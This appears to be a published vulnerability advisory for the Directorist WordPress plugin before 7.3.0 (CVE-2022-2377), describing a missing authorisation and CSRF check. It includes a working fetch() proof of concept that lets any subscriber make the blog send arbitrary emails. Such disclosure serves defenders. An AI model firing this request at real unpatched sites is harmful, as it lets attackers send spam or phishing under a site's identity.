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Directorist < 7.3.0 - Subscriber+ Arbitrary E-mail Sending

Description

The plugin does not have authorisation and CSRF checks in an AJAX action, allowing any authenticated users to send arbitrary emails on behalf of the blog

Proof of Concept

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },

  "method": "POST",
  "body": "action=atbdp_send_announcement&[email protected]&subject=subject&message=content&send_to_email=1",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data)); 

Affects Plugins

directorist
Fixed in version 7.3.0

References

CVE
CVE-2022-2377

Classification

Type

NO AUTHORISATION

OWASP top 10
A5: Broken Access Control
CWE
CWE-862

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Submitter twitter
kazet1234
Verified

Yes

WPVDB ID
f4e606e9-0664-42fb-a59b-21de306eb530

Timeline

Publicly Published

2022-07-26 (about 6 months ago)

Added

2022-07-26 (about 6 months ago)

Last Updated

2022-07-26 (about 6 months ago)

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